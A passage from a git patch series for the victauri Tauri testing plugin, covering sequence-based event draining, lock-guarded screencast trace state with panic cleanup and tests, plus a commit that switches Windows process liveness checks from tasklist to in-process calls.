around escapes keeps slicing on char boundaries. + let v: String = parse_page_json(r#""é\ud800ü""#).unwrap(); + assert_eq!(v, "é\u{FFFD}ü"); + } +} diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index 33b7a98c..b3490757 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -1013,23 +1013,26 @@ pub(super) fn parse_bridge_event_from( .get("command") .and_then(|c| c.as_str()) .unwrap_or("unknown"); - AppEvent::Ipc(victauri_core::IpcCall::new( - uuid::Uuid::new_v4().to_string(), - cmd.to_string(), - now, - match ev.get("status").and_then(|s| s.as_str()) { - Some("ok") => victauri_core::IpcResult::Ok(serde_json::Value::Null), - Some("error") => victauri_core::IpcResult::Err("error".to_string()), - _ => victauri_core::IpcResult::Pending, - }, - ev.get("duration_ms") - .and_then(serde_json::Value::as_f64) - .map(|d| d as u64), - ev.get("arg_size_bytes") - .and_then(serde_json::Value::as_u64) - .map_or(0, |n| usize::try_from(n).unwrap_or(usize::MAX)), - label.to_string(), - )) + AppEvent::Ipc( + victauri_core::IpcCall::new( + uuid::Uuid::new_v4().to_string(), + cmd.to_string(), + now, + match ev.get("status").and_then(|s| s.as_str()) { + Some("ok") => victauri_core::IpcResult::Ok(serde_json::Value::Null), + Some("error") => victauri_core::IpcResult::Err("error".to_string()), + _ => victauri_core::IpcResult::Pending, + }, + ev.get("duration_ms") + .and_then(serde_json::Value::as_f64) + .map(|d| d as u64), + ev.get("arg_size_bytes") + .and_then(serde_json::Value::as_u64) + .map_or(0, |n| usize::try_from(n).unwrap_or(usize::MAX)), + label.to_string(), + ) + .with_mocked(ev.get("mocked").and_then(serde_json::Value::as_bool) == Some(true)), + ) } "network" => AppEvent::state_change( format!( @@ -1096,7 +1099,7 @@ async fn event_drain_loop( } // Only drain while a time-travel recording is active. Draining evals - // `getEventStream` in EVERY window every second, and each eval injects JS that + // `drainEvents` in EVERY window every second, and each eval injects JS that // calls back via `victauri_eval_callback` — an IPC request. That constant // background IPC churn (for a 3-window app: ~3 callbacks/sec, forever) AMPLIFIES a // Tauri-runtime `Rc` use-after-free that fires when an IPC request hits @@ -1132,10 +1135,10 @@ async fn event_drain_loop( } } -/// Drain one window's new events (strictly after its shared watermark) into the event log and -/// recorder, then advance the watermark. Serialized per window, so the background drain and -/// `recording flush` never ingest the same window's events twice. Returns how many events were -/// recorded, or `None` if the window could not be drained this time (the watermark is left +/// Drain one window's new events (everything after its shared drain position) into the event +/// log and recorder, then advance the position. Serialized per window, so the background drain +/// and `recording flush` never ingest the same window's events twice. Returns how many events +/// were recorded, or `None` if the window could not be drained this time (the position is left /// unchanged, so a transient failure just re-reads the same range next time). pub async fn drain_window_into_recording( state: &Arc, @@ -1144,24 +1147,40 @@ pub async fn drain_window_into_recording( ) -> Option { let lock = state.drain_watermarks.lock_for(label); let _serialized = lock.lock().await; - let since = state.drain_watermarks.since(label); - let (newest, recorded) = drain_window(state, bridge, label, since).await?; - state.drain_watermarks.advance(label, newest); + // Pin the recording this read is for BEFORE the (slow) read: a drain in flight across + // `recording stop` + `start` used to append the old recording's events to the new one. + let Some(generation) = state.recorder.generation() else { + return Some(0); + }; + let cursor = state.drain_watermarks.cursor(label); + if cursor.epoch != generation { + // The recording has started but its drain epoch is not reset yet (start and reset are + // two steps); reading now would use the previous recording's positions. The next tick + // reads it. + return Some(0); + } + let (mark, recorded) = drain_window(state, bridge, label, &cursor, generation).await?; + state.drain_watermarks.advance(label, cursor.epoch, mark); Some(recorded) } -/// Read one window's event stream strictly after `since` into the event log / recorder. -/// Returns the newest watermark value seen and how many events were recorded, or `None` if -/// nothing was drained (pending-eval saturation, eval-injection failure, callback timeout, or -/// an unparseable result). + +/// Read one window's event stream after `cursor` into the event log / recorder (only while +/// recording `generation` is still the active one). Returns the new drain position and how many +/// events were recorded, or `None` if nothing was drained (pending-eval saturation, +/// eval-injection failure, callback timeout, or an unparseable reply). async fn drain_window( state: &Arc, bridge: &Arc, label: &str, - since: f64, -) -> Option<(f64, usize)> { - // `true` = exclusive: `since` is our own watermark (the newest timestamp already - // ingested), so an inclusive read re-ingested the newest event on every tick. - let code = format!("return window.__VICTAURI__?.getEventStream({since}, true)"); + cursor: &crate::introspection::DrainCursor, + generation: u64, +) -> Option<(crate::introspection::DrainMark, usize)> { + // Only a window's first read in a recording skips pre-recording history by timestamp; + // later reads are purely by sequence (a page clock that is off never drops or repeats). + let (after_seq, instance_js, floor_ms) = match &cursor.mark { + Some(m) => (m.seq, super::helpers::js_string(&m.instance), 0.0), + None => (0, "null".to_string(), cursor.floor_ms), + }; let id = uuid::Uuid::new_v4().to_string(); let (tx, rx) = tokio::sync::oneshot::channel(); @@ -1173,22 +1192,19 @@ async fn drain_window( pending.insert(id.clone(), tx); } + // Delivered through the bridge's frozen `_evalSettle`, which serializes with the + // `JSON.stringify` captured at bridge init — not the page's own, which page script can + // replace to forge or break every drained event. let id_js = super::helpers::js_string(&id); let inject = format!( r" - (async () => {{ - try {{ - const __result = await (async () => {{ {code} }})(); - await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: {id_js}, - result: JSON.stringify(__result) - }}); - }} catch (e) {{ - await window.__TAURI_INTERNALS__.invoke('plugin:victauri|victauri_eval_callback', {{ - id: {id_js}, - result: JSON.stringify({{ __error: e.message }}) - }}); - }} + (function() {{ + var v = window.__VICTAURI__; + if (!v) return; + var r; + try {{ r = v.drainEvents({after_seq}, {instance_js}, {floor_ms}); }} + catch (e) {{ r = {{ __error: String(e && e.message) }}; }} + v._evalSettle({id_js}, r); }})(); " ); @@ -1203,36 +1219,27 @@ async fn drain_window( return None; }; - let events: Vec = serde_json::from_str(&result).ok()?; - - // Watermark = newest `seq_ts` (IPC completion time) or `timestamp`, clamped to now: a - // bogus far-future timestamp must never jump the watermark past all real events (it would - // silently stop this window's recording for the rest of the session). - #[allow(clippy::cast_precision_loss)] - let now_ms = chrono::Utc::now().timestamp_millis() as f64; - let mut newest = since; + // Page JSON: a lone surrogate (a truncated emoji, or a hostile `console.log('\ud800')`) + // must not make the whole reply unparseable — that stalled the window's recording. + let reply: serde_json::Value = super::page_json::parse_page_json(&result).ok()?; + let mark = crate::introspection::DrainMark { + instance: reply.get("instance")?.as_str()?.to_string(), + seq: reply.get("seq")?.as_u64()?, + }; let mut recorded = 0usize; - for ev in &events { - let ts = ev - .get("seq_ts") - .or_else(|| ev.get("timestamp")) - .and_then(serde_json::Value::as_f64) - .filter(|t| t.is_finite()) - .unwrap_or(0.0) - .min(now_ms); - if ts > newest { - newest = ts; - } - - if let Some(app_event) = parse_bridge_event_from(ev, label) { - state.event_log.push(app_event.clone()); - if state.recorder.is_recording() { - state.recorder.record_event(app_event); - recorded += 1; - } + // The position comes from the bridge's counter, not from the entries: an entry that fails + // to parse is skipped without holding the window's recording back. + for ev in reply.get("events")?.as_array()? { + if let Some(app_event) = parse_bridge_event_from(ev, label) + && state + .recorder + .record_event_if(generation, app_event.clone()) + { + state.event_log.push(app_event); + recorded += 1; } } - Some((newest, recorded)) + Some((mark, recorded)) } #[cfg(test)] diff --git a/crates/victauri-plugin/src/screencast.rs b/crates/victauri-plugin/src/screencast.rs index b222566d..46a6619a 100644 --- a/crates/victauri-plugin/src/screencast.rs +++ b/crates/victauri-plugin/src/screencast.rs @@ -3,13 +3,17 @@ //! `EventRecorder` (events) and `logs` (network/console) to form a trace bundle. use std::sync::Mutex; -use std::sync::atomic::{AtomicBool, AtomicU64, AtomicUsize, Ordering}; +use std::sync::atomic::{AtomicU64, AtomicUsize, Ordering}; /// Cap on the total base64 bytes buffered across all frames. `max_frames` alone does not bound /// memory: 600 frames of a 4K window is well over a gigabyte. The oldest frames are evicted /// first once this is exceeded. pub const MAX_TRACE_BYTES: usize = 256 * 1024 * 1024; +/// Longest allowed capture interval. The capture task checks the trace's maximum duration once +/// per interval, so an unbounded interval (hours) defeated the 30-minute auto-stop. +pub const MAX_INTERVAL_MS: u64 = 60_000; + /// A single captured frame: milliseconds since trace start + base64 PNG. #[derive(Debug, Clone, serde::Serialize)] #[non_exhaustive] @@ -24,77 +28,105 @@ pub struct TraceFrame { /// recover from poisoning. #[derive(Debug)] pub struct Screencast { - active: AtomicBool, interval_ms: AtomicU64, max_frames: AtomicUsize, - generation: AtomicU64, + /// Active flag, generation and owned recording change together under ONE lock: as separate + /// atomics a `stop` landing inside a `start` left the trace active under a generation no + /// capture task was running for, and an old task's auto-stop could take the recording a + /// newer trace owned. + trace: Mutex, frames: Mutex>, label: Mutex>, - /// Session id of the recording this trace started (`with_events`), so `stop` can stop - /// exactly that one — otherwise the recorder (and the per-second drain loop it enables) - /// outlives the trace. A bare flag could stop a recording someone else started later. - owned_recording: Mutex>, +} + +#[derive(Debug, Default)] +struct TraceState { + active: bool, + generation: u64, + /// Recorder generation of the recording this trace started (`with_events`), so stopping + /// the trace stops exactly that one — otherwise the recorder (and the per-second drain + /// loop it enables) outlives the trace. A session id could name a recording someone else + /// started later with the same id. + owned_recording: Option, } impl Default for Screencast { fn default() -> Self { Self { - active: AtomicBool::new(false), interval_ms: AtomicU64::new(500), max_frames: AtomicUsize::new(60), - generation: AtomicU64::new(0), + trace: Mutex::new(TraceState::default()), frames: Mutex::new(Vec::new()), label: Mutex::new(None), - owned_recording: Mutex::new(None), } } } impl Screencast { - /// Begin a new trace: clears frames, records settings, returns the - /// generation token the capture task must check to know it is current. - pub fn start(&self, interval_ms: u64, max_frames: usize, label: Option) -> u64 { + fn trace(&self) -> std::sync::MutexGuard<'_, TraceState> { + self.trace + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + } + + /// Begin a new trace: clears frames, records settings (the interval clamped to + /// 50..=[`MAX_INTERVAL_MS`]), and returns the generation token the capture task must check + /// to know it is current, plus the recording owned by the trace this one superseded (the + /// caller stops it). + pub fn start( + &self, + interval_ms: u64, + max_frames: usize, + label: Option, + ) -> (u64, Option) { + let mut t = self.trace(); self.interval_ms - .store(interval_ms.max(50), Ordering::Relaxed); + .store(interval_ms.clamp(50, MAX_INTERVAL_MS), Ordering::Relaxed); self.max_frames .store(max_frames.clamp(1, 600), Ordering::Relaxed); - { - let mut f = self - .frames - .lock() - .unwrap_or_else(std::sync::PoisonError::into_inner); - f.clear(); - } - { - let mut l = self - .label - .lock() - .unwrap_or_else(std::sync::PoisonError::into_inner); - *l = label; - } - let generation = self.generation.fetch_add(1, Ordering::SeqCst) + 1; - self.active.store(true, Ordering::SeqCst); - generation + self.frames + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .clear(); + *self + .label + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) = label; + t.generation += 1; + t.active = true; + (t.generation, t.owned_recording.take()) } - /// Stop the current trace. Returns the captured frame count. - pub fn stop(&self) -> usize { - self.active.store(false, Ordering::SeqCst); - // Invalidate any running task. - self.generation.fetch_add(1, Ordering::SeqCst); - self.frame_count() + /// Stop the current trace. Returns the captured frame count and the recording the trace + /// owned (the caller stops it). + pub fn stop(&self) -> (usize, Option) { + let owned = { + let mut t = self.trace(); + t.active = false; + // Invalidate any running task. + t.generation += 1; + t.owned_recording.take() + }; + (self.frame_count(), owned) } /// Whether a trace is currently active. #[must_use] pub fn is_active(&self) -> bool { - self.active.load(Ordering::SeqCst) + self.trace().active } /// The current generation token (a capture task is stale if it differs). #[must_use] pub fn generation(&self) -> u64 { - self.generation.load(Ordering::SeqCst) + self.trace().generation + } + + /// Whether the trace of `generation` is still the active one. + #[must_use] + pub fn is_current(&self, generation: u64) -> bool { + let t = self.trace(); + t.active && t.generation == generation } /// Configured capture interval in milliseconds. @@ -142,47 +174,38 @@ impl Screencast { /// generation before a (slow) capture; re-checking at push time stops a stale task from /// inserting a frame into a trace started after it. pub fn push_frame_if_current(&self, generation: u64, t_ms: u64, data_b64: String) -> bool { - if !self.is_active() || self.generation() != generation { + if !self.is_current(generation) { return false; } self.push_frame(t_ms, data_b64); true } - /// Record (or clear) the session id of the recording the current trace started. - pub fn set_owned_recording(&self, session_id: Option) { - *self - .owned_recording - .lock() - .unwrap_or_else(std::sync::PoisonError::into_inner) = session_id; - } - - /// Clear and return the session id of the recording the finished trace started. - pub fn take_owned_recording(&self) -> Option { - self.owned_recording - .lock() - .unwrap_or_else(std::sync::PoisonError::into_inner) - .take() + /// Record that the trace of `generation` started the recording of `recorder_generation`. + /// Returns `false` (recording nothing) if that trace was already stopped or superseded — + /// the caller then stops the recording itself, or nothing ever would. + pub fn set_owned_recording(&self, generation: u64, recorder_generation: u64) -> bool { + let mut t = self.trace(); + if t.active && t.generation == generation { + t.owned_recording = Some(recorder_generation); + true + } else { + false + } } /// Stop the trace only if `generation` is still current — atomically, so an old capture - /// task's auto-stop can never stop a NEWER trace started in between. Returns whether it - /// stopped anything. - pub fn stop_if_generation(&self, generation: u64) -> bool { - if self - .generation - .compare_exchange( - generation, - generation + 1, - Ordering::SeqCst, - Ordering::SeqCst, - ) - .is_ok() - { - self.active.store(false, Ordering::SeqCst); - true + /// task's auto-stop can never stop a NEWER trace started in between (or take the recording + /// that trace owns). Returns `None` if it stopped nothing, else the stopped trace's owned + /// recording. + pub fn stop_if_generation(&self, generation: u64) -> Option> { + let mut t = self.trace(); + if t.active && t.generation == generation { + t.active = false; + t.generation += 1; + Some(t.owned_recording.take()) } else { - false + None } } @@ -221,6 +244,24 @@ impl Screencast { } } +/// Ends the trace of `generation` when its capture task finishes — normally, at the maximum +/// duration, or by PANICKING (a drop guard runs during unwinding; a panicked task used to leave +/// the trace active and its recording running forever). A no-op if the trace was already +/// stopped or superseded. +pub(crate) struct CaptureTaskGuard { + pub(crate) screencast: std::sync::Arc, + pub(crate) recorder: victauri_core::EventRecorder, + pub(crate) generation: u64, +} + +impl Drop for CaptureTaskGuard { + fn drop(&mut self) { + if let Some(Some(owned)) = self.screencast.stop_if_generation(self.generation) { + let _ = self.recorder.stop_if_generation(owned); + } + } +} + #[cfg(test)] mod tests { use super::*; @@ -242,10 +283,10 @@ mod tests { #[test] fn start_clears_and_bumps_generation() { let sc = Screencast::default(); - let g1 = sc.start(200, 10, Some("main".into())); + let (g1, _) = sc.start(200, 10, Some("main".into())); sc.push_frame(0, "x".into()); assert_eq!(sc.frame_count(), 1); - let g2 = sc.start(200, 10, None); + let (g2, _) = sc.start(200, 10, None); assert!(g2 > g1, "generation must increase"); assert_eq!(sc.frame_count(), 0, "start clears frames"); assert!(sc.is_active()); @@ -254,7 +295,7 @@ mod tests { #[test] fn stop_deactivates_and_invalidates() { let sc = Screencast::default(); - let g = sc.start(200, 10, None); + let (g, _) = sc.start(200, 10, None); sc.stop(); assert!(!sc.is_active()); assert!(sc.generation() > g, "stop invalidates the task generation"); @@ -263,8 +304,8 @@ mod tests { #[test] fn stale_generation_push_is_rejected() { let sc = Screencast::default(); - let old = sc.start(100, 10, None); - let new = sc.start(100, 10, None); + let (old, _) = sc.start(100, 10, None); + let (new, _) = sc.start(100, 10, None); assert!(!sc.push_frame_if_current(old, 0, "stale".into())); assert!(sc.push_frame_if_current(new, 0, "fresh".into())); assert_eq!(sc.frames(0)[0].data_b64, "fresh"); @@ -290,25 +331,123 @@ mod tests { #[test] fn owned_recording_is_taken_once() { let sc = Screencast::default(); - sc.set_owned_recording(Some("s1".into())); - assert_eq!(sc.take_owned_recording().as_deref(), Some("s1")); - assert_eq!(sc.take_owned_recording(), None); + let (g, _) = sc.start(100, 10, None); + assert!(sc.set_owned_recording(g, 7)); + assert_eq!(sc.stop(), (0, Some(7))); + assert_eq!(sc.stop(), (0, None)); + } + + // C14b: ownership is scoped to the trace generation. An old task's auto-stop (after its + // stop_if_generation) used to `take_owned_recording()` separately and could take the + // recording a newer trace had just registered. + #[test] + fn owned_recording_belongs_to_its_trace_generation() { + let sc = Screencast::default(); + let (old, _) = sc.start(100, 10, None); + assert!(sc.set_owned_recording(old, 1)); + // A newer trace supersedes the old one and is handed the old trace's recording. + let (new, superseded) = sc.start(100, 10, None); + assert_eq!(superseded, Some(1)); + assert!(sc.set_owned_recording(new, 2)); + // The old task's auto-stop stops nothing and takes nothing. + assert_eq!(sc.stop_if_generation(old), None); + // A stale trace cannot register a recording (its starter must stop it itself). + assert!(!sc.set_owned_recording(old, 3)); + assert_eq!(sc.stop_if_generation(new), Some(Some(2))); + } + + // C14c: the interval is clamped so the per-interval max-duration check keeps running. + #[test] + fn interval_is_clamped() { + let sc = Screencast::default(); + let _ = sc.start(u64::MAX, 10, None); + assert_eq!(sc.interval_ms(), MAX_INTERVAL_MS); + let _ = sc.start(1, 10, None); + assert_eq!(sc.interval_ms(), 50); + } + + // C14: a panicking capture task must still end its trace and the recording it started. + #[test] + fn capture_task_guard_cleans_up_after_a_panic() { + let sc = std::sync::Arc::new(Screencast::default()); + let recorder = victauri_core::EventRecorder::new(10); + let (g, _) = sc.start(100, 10, None); + let rg = recorder.start_session("trace".into()).unwrap(); + assert!(sc.set_owned_recording(g, rg)); + let guard = CaptureTaskGuard { + screencast: std::sync::Arc::clone(&sc), + recorder: recorder.clone(), + generation: g, + }; + let r = std::thread::spawn(move || { + let _guard = guard; + panic!("capture blew up"); + }) + .join(); + assert!(r.is_err()); + assert!(!sc.is_active(), "trace left active after its task panicked"); + assert!(!recorder.is_recording(), "owned recording left running"); + } + + // A guard of a superseded trace touches neither the newer trace nor its recording. + #[test] + fn capture_task_guard_of_a_stale_trace_is_a_no_op() { + let sc = std::sync::Arc::new(Screencast::default()); + let recorder = victauri_core::EventRecorder::new(10); + let (old, _) = sc.start(100, 10, None); + let (new, _) = sc.start(100, 10, None); + let rg = recorder.start_session("new".into()).unwrap(); + assert!(sc.set_owned_recording(new, rg)); + drop(CaptureTaskGuard { + screencast: std::sync::Arc::clone(&sc), + recorder: recorder.clone(), + generation: old, + }); + assert!(sc.is_current(new)); + assert!(recorder.is_recording()); } #[test] fn stale_generation_cannot_stop_a_newer_trace() { let sc = Screencast::default(); - let old = sc.start(100, 10, None); - let new = sc.start(100, 10, None); + let (old, _) = sc.start(100, 10, None); + let (new, _) = sc.start(100, 10, None); assert!( - !sc.stop_if_generation(old), + sc.stop_if_generation(old).is_none(), "an old task must not stop the new trace" ); assert!(sc.is_active()); - assert!(sc.stop_if_generation(new)); + assert!(sc.stop_if_generation(new).is_some()); assert!(!sc.is_active()); } + // C14a: a stop racing a start must never leave the trace active under a generation no + // start returned (active, but with no capture task running for it). + #[test] + fn concurrent_start_and_stop_never_orphan_an_active_trace() { + let sc = std::sync::Arc::new(Screencast::default()); + let barrier = std::sync::Arc::new(std::sync::Barrier::new(2)); + let (sc2, b2) = (std::sync::Arc::clone(&sc), std::sync::Arc::clone(&barrier)); + let stopper = std::thread::spawn(move || { + for _ in 0..20_000 { + b2.wait(); + let _ = sc2.stop(); + b2.wait(); + } + }); + let mut orphaned = 0; + for _ in 0..20_000 { + barrier.wait(); + let (g, _) = sc.start(100, 10, None); + barrier.wait(); + if sc.is_active() && sc.generation() != g { + orphaned += 1; + } + } + stopper.join().unwrap(); + assert_eq!(orphaned, 0, "active trace with no capture task"); + } + #[test] fn frames_limit_returns_most_recent() { let sc = Screencast::default(); diff --git a/crates/victauri-plugin/tests/bridge_tests.rs b/crates/victauri-plugin/tests/bridge_tests.rs index d71a3901..a183e328 100644 --- a/crates/victauri-plugin/tests/bridge_tests.rs +++ b/crates/victauri-plugin/tests/bridge_tests.rs @@ -4987,6 +4987,172 @@ fn ipc_encoded_command_names() { ); } +// ── Recording drain: sequence watermark, completion keying, mocked flag ────── + +fn drain_case(name: &str, code: &str) -> TestCase { + TestCase { + name: name.into(), + code: code.into(), + setup_html: None, + // jsdom has no Response; a route `fulfill` needs one. + setup_js: Some( + r"window.Response = function(body, init) { this.status = init.status; this.body = body; };" + .into(), + ), + } +} + +// C5/V-10, C13, V-3 (bridge side). The drain used a wall-clock watermark clamped to the Rust +// clock: an event stamped ahead of it was re-read on every drain and same-millisecond events +// pushed after the read were lost; plain network requests were keyed by start and emitted while +// pending; and a route-mocked IPC call was indistinguishable from a real one. +#[test] +#[allow(clippy::too_many_lines)] +fn recording_drain_reads_each_event_exactly_once() { + let def = TestDef { + bridge_script: bridge_script(), + setup_html: default_html(), + setup_js: None, + tests: vec![ + drain_case( + "a future-dated event is drained once", + r" + var realNow = Date.now; + Date.now = function() { return realNow() + 3600000; }; + console.log('from the future'); + Date.now = realNow; + var v = window.__VICTAURI__; + var d1 = v.drainEvents(0, null, 0); + var d2 = v.drainEvents(d1.seq, d1.instance, 0); + var d3 = v.drainEvents(d2.seq, d2.instance, 0); + function n(d) { return d.events.filter(function(e) { return e.message === 'from the future'; }).length; } + return [n(d1), n(d2), n(d3)]; + ", + ), + drain_case( + "events in the same millisecond as the previous read are kept", + r" + var realNow = Date.now; + Date.now = function() { return 5000; }; + var v = window.__VICTAURI__; + console.log('a'); + var d1 = v.drainEvents(0, null, 0); + console.log('b'); + var d2 = v.drainEvents(d1.seq, d1.instance, 0); + console.log('c'); + var d3 = v.drainEvents(d2.seq, d2.instance, 0); + Date.now = realNow; + function msgs(d) { return d.events.filter(function(e) { return e.type === 'console'; }).map(function(e) { return e.message; }); } + return [msgs(d1), msgs(d2), msgs(d3)]; + ", + ), + drain_case( + "a slow plain network request is drained once, when it completes", + r" + var v = window.__VICTAURI__; + var p = fetch('http://example.test/slow', { headers: { 'x-vtest-delay-ms': '80' } }); + var d1 = v.drainEvents(0, null, 0); + var excl = v.getEventStream(0, true).filter(function(e) { return e.type === 'network'; }).length; + await p; + await new Promise(function(r) { setTimeout(r, 20); }); + var d2 = v.drainEvents(d1.seq, d1.instance, 0); + var d3 = v.drainEvents(d2.seq, d2.instance, 0); + function net(d) { return d.events.filter(function(e) { return e.type === 'network'; }); } + return { during: net(d1).length, excl_during: excl, after: net(d2).map(function(e) { return e.status; }), again: net(d3).length }; + ", + ), + drain_case( + "a route-mocked IPC call is marked mocked in the stream and the drain", + r" + var v = window.__VICTAURI__; + v.addRoute({ pattern: 'http://ipc.localhost/quit_app', match_type: 'exact', action: 'fulfill', status: 200, body: 'null' }); + await fetch('http://ipc.localhost/quit_app', { method: 'POST' }); + v.clearRoutes(); + await fetch('http://ipc.localhost/real_cmd', { method: 'POST', body: '{}' }); + await new Promise(function(r) { setTimeout(r, 20); }); + function pick(evs) { + return evs.filter(function(e) { return e.type === 'ipc'; }) + .map(function(e) { return [e.command, e.status, e.mocked === true]; }); + } + return { drained: pick(v.drainEvents(0, null, 0).events), stream: pick(v.getEventStream()) }; + ", + ), + drain_case( + "a sequence from another page instance reads from the start; the floor applies to a first read", + r" + var v = window.__VICTAURI__; + console.log('one'); + console.log('two'); + var d1 = v.drainEvents(0, null, 0); + var other = v.drainEvents(d1.seq, 'another-page-load', 0); + var floored = v.drainEvents(0, null, Date.now() + 60000); + function c(d) { return d.events.filter(function(e) { return e.type === 'console'; }).length; } + return { first: c(d1), other: c(other), + floored: floored.events.length, seq_moves: floored.seq >= d1.seq, + instance_is_string: typeof d1.instance === 'string' && d1.instance.length > 8 }; + ", + ), + drain_case( + "the drain reply is serialized with the bridge's own JSON.stringify, not the page's", + r" + var sent = []; + window.__TAURI_INTERNALS__ = { invoke: function(cmd, args) { sent.push(args); return Promise.resolve(null); } }; + console.log('real'); + JSON.stringify = function() { return '[]'; }; + // Exactly what the Rust drain injects: drainEvents, delivered via _evalSettle. + var v = window.__VICTAURI__; + v._evalSettle('drain-id', v.drainEvents(0, null, 0)); + var body = JSON.parse(sent[0].result); + return body.events.filter(function(e) { return e.message === 'real'; }).length; + ", + ), + ], + }; + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = |i: usize| results[i].result.clone().unwrap(); + assert_eq!( + r(5), + 1, + "a page's JSON.stringify must not shape the drain reply" + ); + + assert_eq!( + r(0), + serde_json::json!([1, 0, 0]), + "a future-dated event must be read exactly once" + ); + assert_eq!( + r(1), + serde_json::json!([["a"], ["b"], ["c"]]), + "same-millisecond events must each be read exactly once" + ); + let n = r(2); + assert_eq!(n["during"], 0, "a pending request is not drained"); + assert_eq!(n["excl_during"], 0, "nor emitted in watermark mode"); + assert_eq!(n["after"], serde_json::json!([200])); + assert_eq!(n["again"], 0); + let m = r(3); + for key in ["drained", "stream"] { + assert_eq!( + m[key], + serde_json::json!([["quit_app", "ok", true], ["real_cmd", "ok", false]]), + "{key}" + ); + } + let i = r(4); + assert_eq!(i["first"], 2); + assert_eq!( + i["other"], 2, + "another instance's sequence means from the start" + ); + assert_eq!(i["floored"], 0, "entries before the floor are skipped"); + assert_eq!(i["seq_moves"], true); + assert_eq!(i["instance_is_string"], true); +} + // ── Hardening regressions (bounded capture, never-throw hooks, ref reuse) ──── fn case(name: &str, code: &str) -> TestCase { From a24b51768b787dfa05e979b2e1fc9bfe2f757c11 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 21:00:45 +1000 Subject: [PATCH 028/167] fix(discovery): exact, own-user, in-process liveness on Windows; bridge e2e isolated Windows liveness spawned tasklist and substring-matched its output: PID 12 'matched' 123, other users' processes counted (the cross-user PID-reuse fix R2-7 only reached Unix), victauri-test resolved tasklist via PATH, and the bridge ran a full tasklist snapshot every 1.5s even with no discovery entries. Measured under load: 0.5s per call, up to 40s when filtered by user -- which stalled the bridge's own replies and made bridge_e2e fail 3 of 7 runs. Liveness is now OpenProcess + exit code + token-SID == ours (victauri-test process module, copied into the watchdog; unsafe confined to that module), and scans skip enumeration when nothing was discovered. The e2e tests write their fake discovery entries into a private temp root instead of the real one, where a developer's own victauri bridge connected to the mock mid-test (observed). bridge_e2e: 12/12 green, ~2s each. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- Cargo.lock | 2 + crates/victauri-cli/src/bridge.rs | 72 +++++------ crates/victauri-cli/tests/bridge_e2e.rs | 43 ++++++- crates/victauri-test/Cargo.toml | 4 + crates/victauri-test/src/discovery.rs | 23 +--- crates/victauri-test/src/lib.rs | 5 +- crates/victauri-test/src/process.rs | 154 ++++++++++++++++++++++++ crates/victauri-watchdog/Cargo.toml | 4 + crates/victauri-watchdog/src/main.rs | 24 +--- crates/victauri-watchdog/src/process.rs | 154 ++++++++++++++++++++++++ 10 files changed, 397 insertions(+), 88 deletions(-) create mode 100644 crates/victauri-test/src/process.rs create mode 100644 crates/victauri-watchdog/src/process.rs diff --git a/Cargo.lock b/Cargo.lock index 4b263603..19b931b9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -5376,6 +5376,7 @@ dependencies = [ "tokio", "tower", "uuid", + "windows-sys 0.59.0", ] [[package]] @@ -5389,6 +5390,7 @@ dependencies = [ "tokio", "tracing", "tracing-subscriber", + "windows-sys 0.59.0", ] [[package]] diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index fbddd3d7..55b5f63b 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -834,9 +834,9 @@ async fn scan_once(app: Option<&str>) -> Selection { }); } - // Liveness-FIRST (batched), then health. `alive_pids` snapshots every live PID in ONE OS - // call (~60ms), so a machine with many stale discovery dirs (dead dev sessions) is filtered - // for ~free instead of one process spawn PER dir. Crucially we then health-check ONLY the + // Liveness-FIRST, then health. On Unix `alive_pids` snapshots our user's live PIDs in ONE + // `ps` call, so many stale discovery dirs cost one spawn, not one each; on Windows each PID + // is checked in-process (no spawn at all). Crucially we then health-check ONLY the // live-pid entries: a stale dir whose long-dead port was reused by some other service is // never probed (that mis-order made a down-state scan hang on an unresponsive reused port). // When the app is down there are zero live entries, so zero health probes — the poller @@ -849,6 +849,12 @@ async fn scan_once(app: Option<&str>) -> Selection { // binding the freed port, could still pass liveness+health+identity and receive the token. // Re-resolving on every forward (audit #1) shrinks this to a per-call coincidence rather than // a cache-lifetime one; fully closing it needs mutual auth on `/health` (a plugin-side change). + let entries = discover_entries(); + // Nothing discovered (the app is down): nothing to check, so no process enumeration — + // the availability poller runs this every 1.5 s. + if entries.is_empty() { + return Selection::None; + } let alive = alive_pids(); let is_alive = |pid: u32| { alive @@ -856,7 +862,7 @@ async fn scan_once(app: Option<&str>) -> Selection { .map_or_else(|| is_process_alive(pid), |set| set.contains(&pid)) }; let mut live = Vec::new(); - for (pid, s) in discover_entries() { + for (pid, s) in entries { if is_alive(pid) && health_ok(s.port).await { live.push(s); } @@ -1091,15 +1097,6 @@ async fn health_ok(port: u16) -> bool { .is_ok_and(|r| r.status().is_success()) } -/// Resolve a System32 executable from `%SystemRoot%` instead of `PATH`, so an attacker-writable -/// `PATH` entry cannot shadow it. The availability poller spawns `tasklist` repeatedly, so this -/// PATH-hijack surface is continuous — always invoke it by absolute path. -#[cfg(windows)] -fn system32_exe(name: &str) -> String { - let root = std::env::var("SystemRoot").unwrap_or_else(|_| "C:\\Windows".to_string()); - format!("{root}\\System32\\{name}") -} - /// No batched process enumeration on this platform: callers fall back to per-pid checks. #[cfg(not(any(unix, windows)))] fn alive_pids() -> Option> { @@ -1119,31 +1116,14 @@ fn abs_bin(name: &str) -> String { name.to_string() } -/// Snapshot the set of currently-live PIDs in ONE OS call, so discovery cost stays O(1) -/// process spawns regardless of how many (possibly stale) discovery directories exist. -/// Returns `None` if enumeration fails or is empty, in which case callers fall back to the -/// per-pid `is_process_alive` (never worse than the previous behavior). +/// Windows: no batched enumeration — each discovered PID is checked in-process by +/// [`is_process_alive`] (microseconds, no spawn). The `tasklist` snapshot this replaced cost +/// ~0.5 s per poll on an idle machine and spiked past 10 s under load, which stalled the +/// bridge's own replies; its per-PID fallback also 